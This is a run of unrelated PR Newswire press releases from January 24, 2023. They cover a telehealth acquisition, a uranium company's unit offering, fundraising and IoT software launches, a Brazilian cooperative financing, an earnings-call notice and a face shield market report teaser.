
Great Place to Work Certification is the most definitive "employer-of-choice" recognition that companies aspire to achieve. It is the only recognition based entirely on what employees report about their workplace experience  specifically, how consistently they experience a high-trust workplace. Great Place to Work Certification is recognized worldwide by employees and employers alike and is the global benchmark for identifying and recognizing outstanding employee experience.

About Great Place to Work

Great Place to Work is the global authority on workplace culture. Since 1992, they have surveyed more than 100 million employees worldwide and used those deep insights to define what makes a great workplace: trust. Their employee survey platform empowers leaders with the feedback, real-time reporting, and insights they need to make data-driven people decisions.

Media contact:

Jamie King

404-539-7684

SOURCE eAssist Dental Solutions
Emerging Market Leader Continues to Execute on Successful Growth Strategy

JACKSONVILLE, Fla., Jan. 24, 2023 /PRNewswire/ -- ReviveHealth, a whole health and integrated care company, has acquired SwiftMD, a virtual care services company with a strong physician network. This acquisition was facilitated by Eir Partners, a Miami based private equity firm that invests in high growth healthcare companies. Eir Partners took a majority interest in ReviveHealth as a part of the transaction.

"The Eir Partners team brings expertise in the digital healthcare market. Through our partnership, ReviveHealth is in a strong position to innovate, scale, and create lasting transformative value," said Howard Buff, ReviveHealth Executive Chairman. "Along with our recent acquisitions of ManifestRx, iSelectMD and now SwiftMD, ReviveHealth has rapidly advanced its contemporary approach to the traditional healthcare delivery system by offering a broader suite of on-demand health services previously unavailable."

"It is a massive opportunity and unmet need in the market to deliver a truly disruptive employee healthcare experience," said Brett Carlson, Managing Member at Eir Partners. "We can do much better in this country and we believe we have the leadership, solution set, and mission to execute on our ambitious vision."

"Adding SwiftMD's infrastructure and provider network to the ReviveHealth platform expands our membership to over 1,000,000 nationwide," said Jeff Bernhard, ReviveHealth CEO. "We are excited to bring SwiftMD into the ReviveHealth portfolio as we pursue our shared vision of providing access to an exceptional quality of care at the most competitive cost in the market."

"SwiftMD is proud to be partnering with such a great team of executives at ReviveHealth that share our mission to provide affordable, quality healthcare that is accessible to all demographics," said John Lawlor, SwiftMD CEO. "We look forward to sharing our years of experience in successfully providing the highest utilization in our space while creating a profitable foundation."

About ReviveHealth

ReviveHealth is an affordable Whole Person Care subscription solution providing employees and consumers fully integrated everyday care including primary and urgent care, mental health therapy, physical therapy, pharmacy benefits, and care solutions across all 50 states. ReviveHealth offers customizable offerings for employers, plans sponsors, individuals, associations and affinity groups with many plans less than $1/day. Visit www.revive.health.

About SwiftMD

SwiftMD is a digital virtual health company with the highest utilization rate in the industry, thanks to its unique business model and exclusive group of physicians. With a mission of providing a quick and easy way for patients and caregivers to connect with physicians virtually. Their digital platform features U.S. trained board-certified doctors that provide 24/7 care exclusively for SwiftMD patients, which makes scheduling telehealth sessions faster and more efficient, improving the quality of care. www.swiftmd.com

About Eir Partners

Eir Partners is a health tech private equity company. Eir has completed or partnered on over $5 billion in healthcare technology transactions since inception in 2015 and has been involved in large scale health tech companies including Claimlogiq, Capta Health Partners, CloudMed, Equian, Millennia, Convey, Signify and others. Targeted stages of investment include growth equity through control buyouts and check sizes ranging from $15 - $75 million. Visit www.eirpartners.com.

Contact: Robin Handy, ReviveHealth [email protected]

Contact: Brett Carlson Founder, Eir Partners [email protected]

SOURCE Eir Partners
NYSE American:EU

TSX.V:EU

CORPUS CHRISTI, Texas, Jan. 24, 2023 /PRNewswire/ - enCore Energy Corp. ("enCore" or the "Company") (NYSE: EU) (TSXV: EU) today announced that it has filed a preliminary short form prospectus in connection with an overnight marketed offering (the "Offering") of units (the "Units") of the Company. The Offering will be conducted through a syndicate of underwriters led by Canaccord Genuity (collectively, the "Underwriters").

Each Unit will consist of one common share in the capital of the Company (each a "Unit Share") and one-half of one common share purchase warrant (each a "Warrant"). Each Warrant will entitle the holder thereof to purchase one common share of the Company (a "Warrant Share").

The definitive size and pricing of the Offering, as well as the terms of the Warrants, will be determined in the context of the market at the time of entering into a definitive underwriting agreement between the Company and the Underwriters. The closing of the Offering will be subject to market and other customary conditions, including approvals of the TSX Venture Exchange and the NYSE American.

In addition, the Company has granted the Underwriters an option to purchase up to an additional 15% of the Units of the Offering on the same terms and conditions exercisable at any time, in whole or in part, until 30 days following the closing of the Offering, for market stabilization purposes and to cover over-allotments, if any.

The Company expects to use the net proceeds from the Offering to maintain and advance the Company's material properties, acquire properties, plant upgrades, drilling, maintenance and refurbishment, community outreach and communications, licensing and permitting and for general corporate and working capital purposes in the manner as set forth in the preliminary short form prospectus. In addition, if the Company is not able to complete a potential loan transaction contemplated by a non-binding term sheet prior to February 15, 2023, the Company expects to use a portion of the proceeds from the Offering to fund amounts required to be paid to complete the Company's previously announced pending acquisition of the Alta Mesa ISR uranium project (the "Alta Mesa Acquisition").

The preliminary short form prospectus for the Offering of the Units has been filed with the securities commissions or similar securities regulatory authorities in each of the provinces of Canada except Quebec. A registration statement on Form F-10 (including such prospectus) (the "Registration Statement") has also been filed with the U.S. Securities and Exchange Commission (the "SEC") for the offering to which this communication relates but has not yet become effective. The preliminary short form prospectus and the Registration Statement contain important detailed information relating to the Company and the Offering. The preliminary prospectus is still subject to completion and amendment. There will not be any sale or acceptance of an offer to buy the securities until a receipt for the final prospectus has been issued and the Registration Statement becomes effective.

Before you invest, you should read the prospectus in that Registration Statement and other documents the Company has filed with the SEC for more complete information about the Company and this Offering. You may get these documents for free by visiting EDGAR on the SEC Web site at www.sec.gov and SEDAR at www.sedar.com. Alternatively, the issuer, any underwriter or any dealer participating in the offering will arrange to send you the prospectus if you request it in Canada from Canaccord Genuity Corp., 40 Temperance Street, Suite 2100, Toronto, ON M5H 0B4 and in the United States from Canaccord Genuity LLC, 99 High Street, Suite 1200, Boston, Massachusetts 02110, Attn: Syndicate Department, by telephone at (617) 371-3900, or by email at [email protected].

About enCore Energy Corp.

enCore Energy is the most diversified In-Situ Recovery (ISR) uranium development company in the United States and recently announced it entered into a definitive agreement to acquire the Alta Mesa In-Situ Recovery uranium project. The Alta Mesa Acquisition will position enCore as a leading US-focused ISR uranium company with the proven management expertise required to advance multiple production opportunities within its portfolio. enCore is focused on becoming the next uranium producer from its licensed and past-producing South Texas Rosita Processing Plant by 2023. The South Dakota-based Dewey-Burdock project and the Wyoming Gas Hills project offer mid-term production opportunities, with significant New Mexico uranium resource endowments providing long-term opportunities. The enCore team is led by industry experts with extensive knowledge and experience in all aspects of ISR uranium operations and the nuclear fuel cycle. enCore is committed to engaging and working with local communities and indigenous governments to create positive impact from corporate developments.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Note Regarding Forward-Looking Statements: Certain information contained in this news release, including: any information relating to the Company being a leading uranium company; completion of the Offering and use of proceeds from the Offering; the ability of the Company to complete the Alta Mesa Acquisition and to realize the expected benefits of the Alta Mesa Acquisition; the closing of the potential loan transaction that is contemplated to fund the completion of the Alta Mesa Acquisition; and any other statements regarding future expectations, beliefs, goals or prospects; may constitute "forward-looking information" and "forward-looking statements" within the meaning of applicable Canadian and United States securities legislation (collectively, "forward-looking statements"). All statements in this news release that are not statements of historical fact (including statements containing the words "expects", "is expected", "does not expect", "plans", "anticipates", "does not anticipate", "believes", "intends", "estimates", "projects", "potential", "scheduled", "forecast", "budget" and similar expressions or variations (including negative variations) of such words and phrases, or statements that certain actions, events or results "may", "could", "would", "might" or "will" be taken) should be considered forward-looking statements. All such forward-looking statements are subject to important risk factors and uncertainties, many of which are beyond the companies' ability to control or predict. Forward-looking statements necessarily involve known and unknown risks, including, without limitation, risks associated with general economic conditions; adverse industry events; risks associated with accessing additional funding required for the transactions and operations discussed in this news release; the use of proceeds of the Offering; whether the Company will be able to complete the potential loan transaction that is contemplated to fund the completion of the Alta Mesa Acquisition; the Company's ability to complete the Alta Mesa Acquisition; future legislative and regulatory developments; the ability of enCore to implement its business strategies; and other risks. A number of important factors could cause actual results or events to differ materially from those indicated or implied by such forward-looking statements, including without limitation exploration and development risks, changes in commodity prices, access to skilled mining personnel, the results of exploration and development activities; uninsured risks; regulatory risks; defects in title; the availability of materials and equipment, timeliness of government approvals and unanticipated environmental impacts on operations; risks posed by the economic and political environments in which the Company operates and intends to operate; market instability due to the COVID-19 pandemic; the potential for losses arising from the expansion of operations into new markets; increased competition; assumptions regarding market trends and the expected demand and desires for the Company's products and proposed products; reliance on industry manufacturers, suppliers and others; the failure to adequately protect intellectual property; the failure to adequately manage future growth; adverse market conditions, the failure to satisfy ongoing regulatory requirements and factors relating to forward looking statements listed above which include risks as disclosed in the companies' annual information form filings. Should one or more of these risks materialize, or should assumptions underlying the forward-looking statements prove incorrect, actual results may vary materially from those described herein as intended, planned, anticipated, believed, estimated or expected. The Company assumes no obligation to update the information in this communication, except as required by law. Additional information identifying risks and uncertainties is contained in filings by the Company with the various securities commissions which are available online at www.sec.gov and www.sedar.com. Forward-looking statements are provided for the purpose of providing information about the current expectations, beliefs and plans of management. Such statements may not be appropriate for other purposes and readers should not place undue reliance on these forward-looking statements, that speak only as of the date hereof, as there can be no assurance that the plans, intentions or expectations upon which they are placed will occur. Such information, although considered reasonable by management at the time of preparation, may prove to be incorrect and actual results may differ materially from those anticipated. Forward-looking statements contained in this news release are expressly qualified by this cautionary statement.

SOURCE enCore Energy Corp.
CHARLOTTETOWN, PE, Jan. 24, 2023 /PRNewswire/ - iWave, the industry's top-rated fundraising intelligence platform, today announced that it has released new enhancements to the iWave for Salesforce integration on the Salesforce AppExchange. The latest version includes Automated Scoring, a new feature that enables fundraising professionals to understand the giving potential of new constituents, as soon as they are added to Salesforce. Additionally, nonprofits can optimize their cultivation efforts by using customizable scoring triggers to automatically receive the latest wealth and philanthropic intelligence in Salesforce.

Automated Scoringnew automation in iWave for Salesforce that further enhances the ability to prioritize donors who have additional giving potential and provides new cultivation and solicitation opportunities. (CNW Group/iWave)

By integrating iWave and Salesforce, fundraising professionals can enrich their internal Salesforce data with iWave's fundraising intelligence to identify ideal donors, find new prospects, personalize outreach, and ultimately raise more donations using a frictionless workflow. Automated Scoring further enhances the ability to prioritize donors who have additional giving potential, and provides new cultivation and solicitation opportunities.

Numerous studies have shown that timing is essential to maximizing fundraising outcome. For example, donors are much more likely to give a second gift within the first three months. With Automated Scoring enabled, a new donation that meets a pre-defined threshold can automatically trigger a constituent record to be updated with the latest available wealth and philanthropic data. This ensures that fundraising teams can determine the optimal ask amount and personalize cultivation using up-to-date fundraising intelligence. Other configurable scoring triggers include a new donation, a change of address, and more.

"It's known that good data provides a greater perspective and ability to do something more effectively, and therefore, is an essential component of decision-making at any forward-thinking organization," said Mary Cote, VP Product at iWave. "This is why we are so focused on providing the best-in-class and most accurate fundraising intelligence data. However, the exponential growth of data available on donors introduces a new challengeensuring good decision-making by having the most up-to-date donor intelligence. To address this challenge, we're introducing new automation within iWave for Salesforce so that constituent records can receive automatic updates with the latest wealth and giving data."

For more information on iWave for Salesforce, contact iWave or visit the AppExchange.

About Salesforce AppExchange

Salesforce AppExchange, the world's leading enterprise cloud marketplace, empowers companies, developers and entrepreneurs to build, market and grow in entirely new ways. With more than 7,000 listings, 10 million customer installs and 117,000 peer reviews, AppExchange connects customers of all sizes and across industries to ready-to-install or customizable apps and Salesforce-certified consultants to solve any business challenge.

About iWave

iWave, the industry's top-rated fundraising intelligence solution, enables nonprofit organizations to fundraise with confidence. In a new era of nonprofit fundraising, iWave solves critical challenges facing fundraising professionals today: how to identify, qualify, and retain donors to raise more major gifts. iWave's intuitive and easy-to-use solutions give access to the industry's highest quality wealth and philanthropic information so you can determine who to ask, how much to ask for, and when to ask. Many of the largest education, healthcare, and nonprofit organizations in the World, rely on iWave to power their fundraising efforts.

SOURCE iWave
AnyNet SMARTconnect is flexible, on-device connectivity software that enables resilient and scalable global connectivity.

The first connectivity provider to market with a module-agnostic connectivity software solution for IoT devices

Dramatically reduces development time by up to 9 months and cuts engineering costs by installing connectivity intelligence and optimisation straight into the IoT device.

SMARTconnect will be showcased at IoT Solutions World Congress, Barcelona 31st January to 2nd February on Stand F640.

GUILDFORD, England, Jan. 24, 2023 /PRNewswire/ -- Eseye, a pioneer of leading-edge cellular IoT connectivity solutions, today launched its revolutionary AnyNet SMARTconnect on-device connectivity software solution. The new solution embeds intelligent, global IoT connectivity directly into any device, enabling organisations to get to market faster and focus on creating value for their customers. Additionally, AnyNet SMARTconnect increases resiliency, keeping devices connected and optimised both now and in the future. This allows IoT initiatives to scale without hiring costly, hard-to-find connectivity or firmware engineers. Showcasing at the IoT Solutions World Congress in Barcelona from 31st January, AnyNet SMARTconnect is already in use with several of Eseye's enterprise customers.

Supplied as an independent plug-in software module, AnyNet SMARTconnect codifies Eseye's decades of connectivity expertise into powerful and flexible device software that partners and customers can easily integrate into their IoT or connected device. This helps ensure 'right first time' delivery and provides the flexibility of device design to help future-proof the solution to navigate current and future supply chain issues. It supports global deployments by enabling a single SKU, including initial bootstrap and provisioning. AnyNet SMARTconnect allows enterprises to bypass software development and install plug-and-play connectivity intelligence directly into their devices. This can accelerate a product launch by up to 9 months, significantly reducing costs and allowing them to focus on the applications and data that deliver value to their customers.

Matt Hatton, Founding Partner at Transforma Insights, comments, "One key watchword for IoT in 2023 is 'optimisation'. It's no longer enough to bolt together a set of components, and hope they work well together. They need to be optimised with each other to ensure that the device, networks, protocols, cloud and edge storage/compute, security and application logic are all optimised to work with each other. This is particularly exacerbated by the need to deploy IoT in constrained environments where access to power, processing, bandwidth, and memory might be limited. Another watchword is 'managed'. Enterprises adopting IoT need to be sure that someone is taking care of these increasingly complex elements so they can concentrate on their regular business. Every enterprise needs an IoT solution that is optimised and managed."

AnyNet SMARTconnect leverages Eseye's AnyNet Federation  a global mobile network alliance that spans 190 countries and provides access to over 700 global networks with more localisation options than any other provider along with its award-winning Infinity IoT Connectivity Management Platform. It includes a set of higher-layer communication protocol extensions including MQTT, CoAP and Lightweight Machine to Machine (LWM2M) that benefit by understanding and responding to the underlying network state. For example, the LWM2M may wait for increased signal strength, higher and more cost-effective bandwidth before doing a Firmware Over the Air (FOTA) update.

AnyNet SMARTconnect includes the following core components and features:

Global connectivity selection and optimisation  works with the modem and xSIM to select, manage and optimise the Radio Access Type (RAT) and network provider tailoring connectivity for the application requirement.

 works with the modem and xSIM to select, manage and optimise the Radio Access Type (RAT) and network provider tailoring connectivity for the application requirement. Increased connectivity resilience  continual monitoring of the data session, throughput, and errors and switches to ensure a continuous data path using application data flows, MQTT/CoAP performance metrics, and network stability data.

 continual monitoring of the data session, throughput, and errors and switches to ensure a continuous data path using application data flows, MQTT/CoAP performance metrics, and network stability data. Simplified data transport & security  manages all modem, wireless network, and higher-layer protocol complexity providing end-to-end data transfer and security.

- SDK & APIs: simplified "send" and "receive" SDK and APIs for applications and supports MQTT, CoAP, and other higher layer protocols in a customer's chosen format (such as JSON or Binary).

- Storage: stores time series data and its own configuration file, buffering data persistently during times of poor or no connectivity until it is successfully delivered.

- Data encryption uses the cryptographic engine provided by the cellular module to implement TLS/DTLS encryption, reducing resource requirements on the device CPU.

 manages all modem, wireless network, and higher-layer protocol complexity providing end-to-end data transfer and security. simplified "send" and "receive" SDK and APIs for applications and supports MQTT, CoAP, and other higher layer protocols in a customer's chosen format (such as JSON or Binary). - stores time series data and its own configuration file, buffering data persistently during times of poor or no connectivity until it is successfully delivered. - uses the cryptographic engine provided by the cellular module to implement TLS/DTLS encryption, reducing resource requirements on the device CPU. Enhanced management, security & compliance  uses LWM2M to efficiently transport device management information and instructions OTA for connectivity rules, operation, and the customer application (compute, storage, OS, and device requirements).

- Implicit agent leverages MQTT to enable device-to-cloud visibility, providing device health, performance, and security instrumentation.

- Embedded LWM2M can be leveraged to provide full-stack device and software lifecycle management, including CPU, storage, firmware, OS, applications, & ML models.

- Connectivity management & routing improves compliance such as data sovereignty, GDPR, HIPAA, PCI etc.

Commenting on the launch, Nick Earle, CEO of Eseye, says: "The Kaleido 2022 Enterprise IoT survey of 750 global enterprises, who had implemented at least one IoT project, revealed that 84% of them ranked the complexities of designing an IoT device as their number one issue they experienced. Enterprises are not device experts and do not have the budget or the necessary skills, such as firmware design and testing, to achieve this. This clearly illustrates that a standard embedded connectivity software solution is needed to enable the device the intelligence to operate in different environments, detect connectivity, and optimise across multiple constraints, including battery performance, latency, and security.

SMARTconnect addresses these issues with embedded intelligence, thus dramatically reducing the cost and risk associated with IoT deployments and improving IoT device time to market by up to nine months."

Eseye customer AmericanPharma has embedded the AnyNet SMARTconnect solution into PharmaWatch, its environmental monitoring devices for the medical industry, for their vaccine temperature monitoring during COVID. The solution has enabled it to experience improved coverage across the US and allows it to expand its PharmaWatch application globally.

Casey Harris, Chief Technology Officer, AmericanPharma Technologies, said, "Our experience with Eseye has been exemplary. Eseye has proven to be a top-notch partner throughout this project - response times are quick, and the answers and help typically go above and beyond. Thanks to Eseye's AnyNet SMARTconnect on-device connectivity intelligence, our new system is more reliable than Wi-Fi or the other cell system we previously offered. It is easier to sell, easier to install, easier to support, and, importantly, easier to scale. We now offer the best, most reliable, world-class system for our market supported by global, resilient connectivity."

To find out more about AnyNet SMARTconnect, its AnyNet Connectivity service, and Eseye's Infinity IoT Platform can provide your business with a seamless service, visit the Eseye Stand F640 at IoT Solutions World Congress in Barcelona or download the new AnyNet SMARTconnect whitepaper: "Why Smart Devices Demand Smart Connectivity.

ABOUT ESEYE

Eseye empowers businesses to embrace IoT without limits. We help them visualise the impossible and bring those solutions to life through innovative IoT cellular connectivity solutions that enable our customers to drive up business value, deploy differentiated experiences, and disrupt their markets.

Our pioneering IoT connectivity hardware, software, and platform technology allow businesses to overcome the complexity of IoT deployment and develop, deploy, and manage IoT projects at scale with a high degree of success. Supported by a powerful partner ecosystem, we seamlessly connect devices across 190 countries, agnostic to over 700 available global networks. www.eseye.com.

SOURCE Eseye
Partnership Provides Long Term Financing to Coopermil to search for new partnerships for the aggregation of value and sustainability of the Cooperative's business, as well as Coopermil's consolidation strategy in its area of action.

SAN DIEGO, Jan. 24, 2023 /PRNewswire/ -- ETHOS ASSET MANAGEMENT INC USA, announced a new long-term financing partnership with The Cooperativa Mista Sao Luiz Ltda, "Coopermil", a Cooperative whose mission is to organize rural producers as the best form of management for small property. Ethos has committed to providing significant capital infusion that will continue for several years.

Carlos Santos, CEO of Ethos Asset Management Inc, stated,

Being a cooperative and believing in the principles of cooperativism, Coopermil since its conception, cultivates the ideal of slow growth, but solid, effective and planned, following the directions of the economy and the market, for the benefit of its associate and therefore, with the consent of the same.

"This is an exceptional project that meets many investment and ESG criteria. The project's concept is based on sustainability, meeting national and international technical needs. Coopermil is a limited liability association of producers and retailers, that aims to contribute to its fellows into commerce of merchandise and distribution of products, of nonprofitable need. For 2022, Coopermil has targeted growth of 3.7%, reaching a turnover close to R$ 1.25 billion. The strategic plan will prioritize the search for new partnerships to add value and sustainability to the Cooperative's business, as well as a strategy to consolidate Coopermil in its area of action. Our decision to invest in this inspirational organization was made easy by the impressive Ernani Thober, President, whose vision, passion and commitment as an Agronomist was exceptional."

Ernani Thober, President, Coopermil, stated,

"As we are a Cooperative that brings together more than 4,200 small and medium-sized farmers, the partnership with Ethos Management will allow us to expand the work focused on the permanence of these farmers in rural activities with productivity and profitability. More than an injection of capital, this partnership opens new perspectives for the growth of the Cooperative and its members with sustainability. I am sure that this is only the beginning of a great partnership."

Mayra Fonseca Couto, Ethos Chief Operating Officer - South America, stated,

"The partnership with Coopermil makes us very proud. It is a Cooperative that has always had a responsible and sustainable growth since its foundation, in 1955. The project will assist not only its 4,200 members, but will also generate new jobs, bring income to the region, provide business expansion in the sectors already explored, and allow the current benefits to be extended to other producers. I would like to reiterate our satisfaction in financing another project in the Agribusiness sector that reinforces Ethos' interest and participation in this relevant economic activity for the Brazilian market."

Alexandre Caldas and Claudia Schwerz, Ethos Associates, South America, stated,

"It is an honor to have Coopermil as an Ethos partner. The way in which CEO Ernani Thober and his team manage the company's core business has had very positive impacts on the continuous generation of new jobs, exemplary sustainability policies and social improvement in the surroundings of its operating bases. This project aimed at expanding the company's business division in agribusiness is proof of the versatility and diversified vision of the businesses they are developing."

About Ethos Asset Management Inc:

Ethos Asset Management (Ethos) is an independent, US-based company with global reach in resource mobilization and project financing.

For more information, please visit https://www.ethosasset.com

About The Cooperativa Mista Sao Luiz Ltda, "Coopermil"

"Cooperativa Mista Sao Luiz Ltda, was founded on August 27, 1955, in the locality of Quinquentenario, then district of Santa Rosa, now a municipality of Tuparendi - RS. Initially, 47 associates were attended, all of which were related to agriculture."

For more information, please visit http://www.coopermil.com/

Contacts:

Ernani Thober, President, Coopermil:

Email [email protected]

Ethos USA:

Ethos Asset Management INC: Press

Office [email protected]

+18585354814

SOURCE Ethos Asset Management Inc
SALT LAKE CITY, Jan. 24, 2023 /PRNewswire/ -- Extra Space Storage Inc. (the "Company") (NYSE: EXR) announced today it will release financial results for the three months and full year ended December 31, 2022 on Wednesday, February 22, 2023 after the market closes. The Company will host a conference call at 1:00 p.m. Eastern Time on Thursday, February 23, 2023 to discuss its financial results. Hosting the call will be Extra Space Storage's CEO, Joe Margolis. Joining him will be Scott Stubbs, Executive Vice President and CFO.

During the conference call, company officers will review operating performance, discuss recent events, and conduct a question-and-answer period. The question-and-answer period will be limited to registered financial analysts. All other participants will have listen-only capability.

To Participate in the Conference Call:

A live webcast of the conference call will be available online from the investor relations page of the Company's corporate website at www.extraspace.com. Telephone participants may avoid any delays in joining the conference call by pre-registering for the call using the following link to receive a special dial-in number and PIN: https://register.vevent.com/register/BIebe11146a14743bdba965c34557cd9ca

The conference call will also be available on the Company's website under Investor Relations at www.extraspace.com. To listen to a live broadcast, go to the site at least 15 minutes prior to the scheduled start time in order to register, download and install any necessary audio software.

Conference Call Playback:

A replay of the webcast will be available on the Extra Space Storage Investor Relations website beginning February 23, 2023 at 5:00 p.m. ET, and will remain available for one year after the call.

Full Text of the Earnings Report and Supplemental Data

The full text of the earnings report and supplemental data will be available at the Company's investor relations website immediately following the earnings release to the wire services after the market close on Wednesday, February 22, 2023.

About Extra Space Storage Inc.

Extra Space Storage Inc., headquartered in Salt Lake City, is a fully integrated, self-administered and self-managed real estate investment trust, and a member of the S&P 500. As of September 30, 2022, the Company owned and/or operated 2,327 self-storage properties, which comprise approximately 1.6 million units and approximately 175.1 million square feet of rentable storage space offering customers conveniently located and secure storage units across the country, including boat storage, RV storage and business storage. The Company is the second largest owner and/or operator of self-storage properties in the United States and is the largest self-storage management company in the United States.

For more information, please visit www.extraspace.com.

SOURCE Extra Space Storage Inc.
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- The global face shield market size is estimated to increase by USD 959.91 million from 2022 to 2027. The market's growth momentum will accelerate at a CAGR of 8.93% during the forecast period - Request a sample report

Global face shield market  Vendor analysis

Vendor offerings -

Technavio has announced its latest market research report titled Global Face Shield Market 2023-2027

3M Co. - The company offers various face shields such as Metalmesh face shield, W series face shields, V4 series face shields, Nylon mesh face shield, and SecureFit X5000 series.

The company offers various face shields such as Metalmesh face shield, W series face shields, V4 series face shields, Nylon mesh face shield, and SecureFit X5000 series. Alpha Pro Tech Ltd. - The company offers a face shield named Coverall full and half face shield with light splash protection.

The company offers a face shield named Coverall full and half face shield with light splash protection. CIGWELD Pty Ltd. - The company offers face shields with polycarbonate high impact fully molded visor and impact protection compared to the standard visors.

The company offers face shields with polycarbonate high impact fully molded visor and impact protection compared to the standard visors. Honeywell International Inc. - The company offers various industrial face shields such as Uvex Bionic, disposable face shields, Protecto shields, and Dual Crown faceshield.

The company offers various industrial face shields such as Uvex Bionic, disposable face shields, Protecto shields, and Dual Crown faceshield. For details on vendors and their offerings  Buy the report!

Vendor landscape 

The global face shield market is fragmented, with the presence of several numerous international and regional players. A few prominent vendors that offer face shields in the market are 3M Co., Alpha Pro Tech Ltd., Bei Bei Safety Co. Ltd., Bunzl Plc, CIGWELD Pty Ltd., Dou Yee Enterprises S Pte Ltd., Ho Cheng Safety Enterprise Co. Ltd., Hobart Welding Products, Honeywell International Inc., JSP Ltd., Lakeland Industries Inc., Merck KGaA, MSA Safety Inc., PETZL Distribution, Productos Climax SA, PROTECT Laserschutz GmbH, Pyramex Safety, Radians Inc., STERIS Plc, and Univet Srl and others.

International vendors have established their presence in various regions owing to their wide range of product offerings, reliability, brand recognition, strong resources, and financial capabilities. They have well-established distribution networks that help them ensure on-time delivery and cater to a large customer base worldwide. However, local vendors are posing stiff competition to international vendors in terms of quality, reliability, and variety. Companies operating in the market compete on the basis of branding, price, quality, and customer support.

Global face shield market - Customer landscape

To help companies evaluate and develop growth strategies, the report outlines 

Key purchase criteria

Adoption rates

Adoption lifecycle

Drivers of price sensitivity

Global face shield market - Segmentation assessment

Segment overview

Technavio has segmented the market based on end-user (healthcare, industrial manufacturing, construction, and others) and type (full-face shield and half-face shield).

The healthcare segment will account for a significant share of the global market during the forecast period. The healthcare industry is one of the key consumers of PPE products, including face shields. The rising expenditure on the treatment of diseases and physical disorders is increasing the demand for surgeries. By 2024, public tax-funded healthcare expenditure is expected to rise owing to the increasing share of the government in healthcare funding. These factors are expected to drive the growth of the global market during the forecast period.

Geography overview

Based on geography, the global face shield market is segmented into North America, Europe, APAC, Middle East and Africa, and South America. The report provides actionable insights and estimates the contribution of all regions to the growth of the global face shield market.

North America is estimated to account for 34% of the growth of the global market during the forecast period. The growth of the region is driven by the widespread COVID-19 outbreak. Moreover, the increasing investments in various sectors and the improving economy of North America will drive employment in different industries, which will increase the demand for shields in these industries. In addition, stringent regulations and the growing number of workplace accidents will also increase demand for face shields in the region.

Download a sample report

Global face shield market  Market dynamics

Leading drivers - The growing adoption among different end-user industries to maintain worker health and safety is notably driving the market growth. The demand for PPE equipment, including face shields, is rising among various industries owing to the increasing number of fatal accidents and occupational injuries. To prevent these accidents, stringent regulatory guidelines have been enforced, which mandate employers to provide certified protective gear to their employees. Factors such as the growing awareness and consensus among employers about the financial burden caused due to workers' compensation, medical expenses, and production downtime due to workplace accidents are also increasing demand for face shields. These factors will propel the market growth during the forecast period.

Key trends - The use of e-commerce by face shield vendors is an emerging trend in the market. This can be attributed to the growing penetration of smartphones and the internet. Customers prefer to purchase products online, as they can compare a wide range of products along with detailed product information. Business-to-business (B2B) companies are also adopting e-commerce platforms to increase sales. These platforms enable vendors of PPE to easily target customers spread across regions, which, in turn, will support the market growth during the forecast period.

Major challenges - The need for regular maintenance is challenging market growth. Employers should ensure timely maintenance and proper storage to extend the life of face shields and maintain hygiene. Moreover, the appropriate type of face shield needs to be purchased depending on the hazard. Furthermore, maintenance instructions should be followed properly. These factors will impede the global market during the forecast period.

Drivers, trends, and challenges have an impact on market dynamics, which can impact businesses. Find more insights in a sample report!

What are the key data covered in this face shield market report?

CAGR of the market during the forecast period

Detailed information on factors that will drive the growth of the face shield market between 2023 and 2027

Precise estimation of the size of the face shield market and its contribution to the parent market

Accurate predictions about upcoming trends and changes in consumer behavior

Growth of the face shield market across North America , Europe , APAC, Middle East and Africa , and South America

, , APAC, and , and A thorough analysis of the market's competitive landscape and detailed information about vendors

Comprehensive analysis of factors that will challenge the growth of face shield market vendors

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Related reports:

The personal protective equipment (PPE) market size is expected to increase by USD 26.16 billion from 2021 to 2026, and the market's growth momentum will accelerate at a CAGR of 7.26%. This report extensively covers market segmentation by product (protective clothing, hand and arm protection, protective footwear, respiratory protection, and others), end-user (manufacturing, construction, oil and gas, healthcare, and others), and geography (APAC, North America, Europe, Middle East and Africa, and South America).

The construction safety helmet market size is expected to increase by USD 551.17 million from 2021 to 2026. This report extensively covers segmentation by material (HDPE, polyethylene, fiberglass, polycarbonate, and others) and geography (APAC, North America, Europe, Middle East and Africa, and South America).

Face Shield Market Scope

Report Coverage Details Page number 171 Base year 2022 Historic period 2017-2021 Forecast period 2023-2027 Growth momentum & CAGR Accelerate at a CAGR of 8.93% Market growth 2023-2027 USD 959.91 million Market structure Fragmented YoY growth 2022-2023 (%) 8.28 Regional analysis North America, Europe, APAC, Middle East and Africa, and South America Performing market contribution North America at 34% Key countries US, China, Japan, Germany, and UK Competitive landscape Leading vendors, market positioning of vendors, competitive strategies, and industry risks Key companies profiled 3M Co., Alpha Pro Tech Ltd., Bei BeI Safety Co. Ltd., Bunzl Plc, CIGWELD Pty Ltd., Dou Yee Enterprises S Pte Ltd., Ho Cheng Safety Enterprise Co. Ltd., Hobart Welding Products, Honeywell International Inc., JSP Ltd., Lakeland Industries Inc., Merck KGaA, MSA Safety Inc., PETZL Distribution, Productos Climax SA, PROTECT Laserschutz GmbH, Pyramex Safety, Radians Inc., STERIS Plc, and Univet Srl Market dynamics Parent market analysis, market growth inducers and obstacles, fast-growing and slow-growing segment analysis, COVID-19 impact and recovery analysis and future consumer dynamics, and market condition analysis for the forecast period. Customization purview If our report has not included the data that you are looking for, you can reach out to our analysts and get segments customized.

Browse for Technavio's consumer discretionary market reports

Table of contents

1 Executive Summary

1.1 Market overview

Exhibit 01: Executive Summary  Chart on Market Overview



Exhibit 02: Executive Summary  Data Table on Market Overview



Exhibit 03: Executive Summary  Chart on Global Market Characteristics



Exhibit 04: Executive Summary  Chart on Market by Geography



Exhibit 05: Executive Summary  Chart on Market Segmentation by End-user



Exhibit 06: Executive Summary  Chart on Market Segmentation by Type



Exhibit 07: Executive Summary  Chart on Incremental Growth



Exhibit 08: Executive Summary  Data Table on Incremental Growth



Exhibit 09: Executive Summary  Chart on Vendor Market Positioning

2 Market Landscape

2.1 Market ecosystem

Exhibit 10: Parent market



Exhibit 11: Market Characteristics

3 Market Sizing

3.1 Market definition

Exhibit 12: Offerings of vendors included in the market definition

3.2 Market segment analysis

Exhibit 13: Market segments

3.3 Market size 2022

3.4 Market outlook: Forecast for 2022-2027

Exhibit 14: Chart on Global - Market size and forecast 2022-2027 ($ million)



Exhibit 15: Data Table on Global - Market size and forecast 2022-2027 ($ million)



Exhibit 16: Chart on Global Market: Year-over-year growth 2022-2027 (%)



